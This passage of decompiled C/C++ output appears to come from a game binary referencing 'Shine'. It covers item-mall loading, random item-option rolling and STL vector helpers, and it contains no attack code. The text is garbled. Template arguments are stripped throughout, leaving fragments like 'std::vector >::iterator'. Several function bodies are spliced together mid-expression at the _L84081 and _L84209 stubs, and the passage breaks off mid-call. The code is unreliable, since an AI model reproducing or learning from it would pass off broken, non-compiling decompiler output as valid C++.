v1->im_Goods = 0; if ( v3 > 0 ) { do { if ( v2 < *(_DWORD *)(v9 + 40) ) v4 = (ItemShop *)CDataReader::GetRecord((CDataReader *)&booth, v2); else v4 = &is; v5 = 0; if ( v1->im_Goods <= 0 ) goto LABEL_17; v6 = v1; while ( v6->im_Booth[0].isl_Code != v4->goodsNo ) { ++v5; v6 = (ItemMall *)((char *)v6 + 88); if ( v5 >= v1->im_Goods ) { ItemMall::im_NewSet(v1, v4); goto LABEL_13; } } v7 = (ItemMall::ItemSetList *)((char *)v1 + 88 * v5); if ( v7 ) ItemMall::im_AddSet(v1, v7, v4); else LABEL_17: ItemMall::im_NewSet(v1, v4); LABEL_13: ++v2; } while ( (signed int)v2 < v3 ); } v12 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&booth); __security_check_cookie((unsigned int)&booth ^ v11); } //----- (0047FDF0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x12u, 0x25u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0047FEA0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x5Du, 0x31u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0047FF50) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_ItemRandomOption::RandomOptionList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, ItemRandomOption::RandomOptionList *_Val) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@11 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( **(_DWORD **)&v4 == *(_DWORD *)&_Val->rol_Index.n8_name[0] && *(_DWORD *)(*(_DWORD *)&v4 + 4) == *(_DWORD *)&_Val->rol_Index.n8_name[4] && *(_DWORD *)(*(_DWORD *)&v4 + 8) == *(_DWORD *)&_Val->rol_Index.n8_name[8] && *(_DWORD *)(*(_DWORD *)&v4 + 12) == *(_DWORD *)&_Val->rol_Index.n8_name[12] && *(_DWORD *)(*(_DWORD *)&v4 + 16) == *(_DWORD *)&_Val->rol_Index.n8_name[16] && *(_DWORD *)(*(_DWORD *)&v4 + 20) == *(_DWORD *)&_Val->rol_Index.n8_name[20] && *(_DWORD *)(*(_DWORD *)&v4 + 24) == *(_DWORD *)&_Val->rol_Index.n8_name[24] && *(_DWORD *)(*(_DWORD *)&v4 + 28) == *(_DWORD *)&_Val->rol_Index.n8_name[28] ) break; *(_DWORD *)&v4 += 64; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (0047FFC0) -------------------------------------------------------- SHINE_XY_TYPE *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::iterator v5; // ecx@1 SHINE_XY_TYPE *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->x = **(_DWORD **)&v5; result->y = *(_DWORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 8; } return result; } //----- (0047FFF0) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum) { ItemRandomOption::RandomOptionDatum *v3; // ebp@1 int v4; // ebx@1 unsigned __int16 v5; // ax@4 ItemRandomOption::RandomOptionList *v6; // ecx@4 int v7; // edx@4 ItemRandomOption::OptionCountTable *v8; // eax@4 int v9; // esi@5 ItemRandomOption::OptionTable *v10; // eax@11 unsigned int v11; // esi@12 signed int v12; // edx@13 int i; // eax@18 signed int j; // edi@20 unsigned __int16 v15; // ax@21 int v16; // ecx@21 int v17; // ebp@25 unsigned __int16 v18; // ax@25 int v19; // ecx@25 int v20; // edx@25 int v21; // eax@25 int v22; // edi@25 int v23; // esi@25 int v24; // ebx@26 char v25; // al@33 char *v26; // ebp@33 char *v27; // [sp-4h] [bp-F8h]@3 signed int optionum; // [sp+10h] [bp-E4h]@4 int k; // [sp+14h] [bp-E0h]@22 char *v30; // [sp+18h] [bp-DCh]@23 int rndarray[50]; // [sp+20h] [bp-D4h]@19 int v32; // [sp+F0h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::rot_FillOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemRandomOption::RandomOptionTable::rot_FillOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = datum; v4 = 0; v32 = 0; option->fixed.optionnumber.str._bf0 = 1; if ( datum && datum->rod_RandomOptionMaker ) { optionum = 0; v5 = RandomBox::rb_1000(&rndbox); v6 = datum->rod_RandomOptionMaker; v7 = v5; v8 = datum->rod_RandomOptionMaker->rol_Count._Myfirst; if ( v8 != datum->rod_RandomOptionMaker->rol_Count._Mylast ) { while ( 1 ) { v9 = v8->oct_Rate; if ( v7 < v9 ) break; ++v8; v7 -= v9; if ( v8 == datum->rod_RandomOptionMaker->rol_Count._Mylast ) goto LABEL_9; } v4 = v8->oct_Number; optionum = v8->oct_Number; } LABEL_9: if ( v4 > 0 ) { v10 = v6->rol_Option._Myfirst; if ( v10 ) { v12 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v6->rol_Option._Mylast - (char *)v10)) >> 32) >> 3; v11 = v12 + ((unsigned int)v12 >> 31); } else { v11 = 0; } if ( v4 > (signed int)v11 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_FillOption : Too many option", v4); v4 = v11; optionum = v11; } if ( v4 > 50 ) { AssertClass::ac_AssertFail(&shineassert, "ItemRandomOption::RandomOptionTable::rot_FillOption : Large then", 50); v4 = 50; optionum = 50; } for ( i = 0; i < (signed int)v11; ++i ) rndarray[i] = i; for ( j = 0; j < (signed int)v11; ++j ) { v15 = RandomBox::operator__(&rndbox, v11); v16 = rndarray[v15]; rndarray[v15] = rndarray[j]; rndarray[j] = v16; } k = 0; if ( v4 > 0 ) { v30 = (char *)&option->optionlist[0].itemoption_value; while ( 1 ) { v17 = (int)&v3->rod_RandomOptionMaker->rol_Option._Myfirst[rndarray[k]]; v18 = RandomBox::rb_1000(&rndbox); v19 = *(_DWORD *)(v17 + 12); v20 = v18; v21 = *(_DWORD *)(v17 + 8); v22 = 0; v23 = 0; if ( v21 != v19 ) { while ( 1 ) { v24 = *(_DWORD *)(v21 + 8); if ( v20 < v24 ) break; v21 += 12; v20 -= v24; if ( v21 == v19 ) goto LABEL_30; } v22 = *(_DWORD *)v21; v23 = *(_DWORD *)(v21 + 4); LABEL_30: v4 = optionum; } if ( v22 > v23 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_FillOption : Min/Max error", v22, v23); v22 = v23; } v25 = *(_BYTE *)v17; v26 = v30; *(v30 - 1) = v25; v30 += 3; *(_WORD *)v26 = v22 + RandomBox::operator__(&rndbox, v23 - v22 + 1); ++k; if ( k >= v4 ) break; v3 = datum; } } option->fixed.optionnumber.str._bf0 = 2 * v4 | option->fixed.optionnumber.str._bf0 & 1; } else { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_FillOption : Option Counter bug", v4 > 0); } v32 = -1; v27 = "ItemRandomOption::RandomOptionTable::rot_FillOption"; } else { AssertClass::ac_AssertFail(&shineassert, "ItemRandomOption::RandomOptionTable::rot_FillOption : Null datum", 0); v32 = -1; v27 = "ItemRandomOption::RandomOptionTable::rot_FillOption"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v27); } //----- (004802A0) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal) { return std::_Uninit_copy>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (004802C0) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *__formal) { return std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (004802E0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00480350) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x15555555 ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(12 * _Capacity); v2->_Myend = (ItemRandomOption::ValueList *)((char *)v4 + 12 * _Capacity); v2->_Myfirst = (ItemRandomOption::ValueList *)v4; v2->_Mylast = (ItemRandomOption::ValueList *)v4; result = 1; } else { result = 0; } return result; } //----- (004803A0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x1FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(8 * _Capacity); v2->_Myend = (ItemRandomOption::OptionCountTable *)((char *)v4 + 8 * _Capacity); v2->_Myfirst = (ItemRandomOption::OptionCountTable *)v4; v2->_Mylast = (ItemRandomOption::OptionCountTable *)v4; result = 1; } else { result = 0; } return result; } //----- (004803F0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen(this); v4 = operator new(20 * _Capacity); v2->_Myend = (ItemRandomOption::OptionTable *)((char *)v4 + 20 * _Capacity); v2->_Myfirst = (ItemRandomOption::OptionTable *)v4; v2->_Mylast = (ItemRandomOption::OptionTable *)v4; result = 1; } else { result = 0; } return result; } //----- (00480440) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::ValueList *_Val) { std::vector > *v4; // esi@1 int v5; // ecx@1 int v6; // edx@1 ItemRandomOption::ValueList *v7; // ebx@1 int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 ItemRandomOption::ValueList *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v27; // [sp+10h] [bp-18h]@1 int v28; // [sp+14h] [bp-14h]@1 int *v29; // [sp+18h] [bp-10h]@1 int v30; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@29 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@27 v4 = this; v5 = _Val->vl_Min; v6 = _Val->vl_Max; v7 = v4->_Myfirst; v8 = _Val->vl_Rate; v29 = &v25; _Tmp = v5; v27 = v6; v28 = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = (TickTimer *)v4->_Mylast; v21 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = (ItemRandomOption::ValueList *)std::_Uninit_copy>( &v20[-_Count], v20, v20, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = (TickTimer *)v4->_Mylast; v30 = 2; std::vector>::_Ufill( (std::vector > *)v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (ItemRandomOption::ValueList *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = (TickTimer *)v4->_Myfirst; v30 = 0; _Counta = std::_Uninit_copy>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (ItemRandomOption::ValueList *)((char *)_Newvec + v16); v4->_Mylast = (ItemRandomOption::ValueList *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (ItemRandomOption::ValueList *)_Newvec; } } } //----- (00480700) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::OptionCountTable *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 ItemRandomOption::OptionCountTable *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 ItemRandomOption::OptionCountTable *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->oct_Rate; v5 = this; _Tmp = _Val->oct_Number; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (ItemRandomOption::OptionCountTable *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (ItemRandomOption::OptionCountTable *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (ItemRandomOption::OptionCountTable *)((char *)v14 + _Counta); v5->_Mylast = (ItemRandomOption::OptionCountTable *)((char *)v14 + 8 * v18); v5->_Myfirst = (ItemRandomOption::OptionCountTable *)v14; } } } //----- (00480950) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { ItemRandomOption::ValueList *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 TickTimer *v7; // ecx@7 TickTimer *v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x15555555 ) std::vector>::_Xlen((std::vector > *)this); v5 = 12 * v4; v6 = operator new(12 * v4); v3->_Myfirst = (ItemRandomOption::ValueList *)v6; v3->_Mylast = (ItemRandomOption::ValueList *)v6; v3->_Myend = (ItemRandomOption::ValueList *)((char *)v6 + v5); v7 = (TickTimer *)_Right->_Mylast; v8 = (TickTimer *)_Right->_Myfirst; v12 = 0; v3->_Mylast = (ItemRandomOption::ValueList *)std::_Uninit_copy>( v8, v7, (TickTimer *)v6, (std::allocator *)v3, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00480A02) -------------------------------------------------------- void __usercall _L84081(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 ItemRandomOption::OptionCountTable *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::iterator v7; // ecx@7 std::vector >::iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x1FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 8 * v4; v6 = operator new(8 * v4); v2->_Myfirst = (ItemRandomOption::OptionCountTable *)v6; v2->_Mylast = (ItemRandomOption::OptionCountTable *)v6; v2->_Myend = (ItemRandomOption::OptionCountTable *)((char *)v6 + v5); v7 = (std::vector >::iterator)_Right->_Mylast; v8 = (std::vector >::iterator)_Right->_Myfirst; v12 = 0; v2->_Mylast = (ItemRandomOption::OptionCountTable *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v8, v7, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00480AC6) -------------------------------------------------------- void __usercall _L84209(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 GroupExpDistribute::NearFriendInformation *v3; // ebp@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 GroupExpDistribute::NearFriendInformation *v7; // edi@7 int v8; // eax@8 int v9; // eax@11 int v10; // eax@15 GroupExpDistribute::NearFriendInformation *v11; // ebp@18 unsigned int v12; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(GroupExpDistribute::NearFriendInformation **)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)(__formal + 8) - (signed int)v3)) >> 32) >> 1; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (GroupExpDistribute::NearFriendInformation *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 12; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::_Copy_opt( v3, *(GroupExpDistribute::NearFriendInformation **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 12 * (*(_DWORD *)(__formal + 8) - v9) / 12; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 12; else v10 = 0; if ( v5 <= (unsigned int)v10 ) { v11 = &v3[std::vector>::size((std::vector > *)v2)]; std::_Copy_opt( *(GroupExpDistribute::NearFriendInformation **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>( (TickTimer *)v11, *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(TickTimer **)(__formal + 4), *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (00480C60) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 ItemRandomOption::OptionCountTable *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 int v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(ItemRandomOption::OptionCountTable **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 3) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(ItemRandomOption::OptionCountTable **)(__formal + 8), *((ItemRandomOption::OptionCountTable **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 8 * ((*(_DWORD *)(__formal + 8) - v9) >> 3); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 3; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 3; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::iterator *)(__formal + 4), 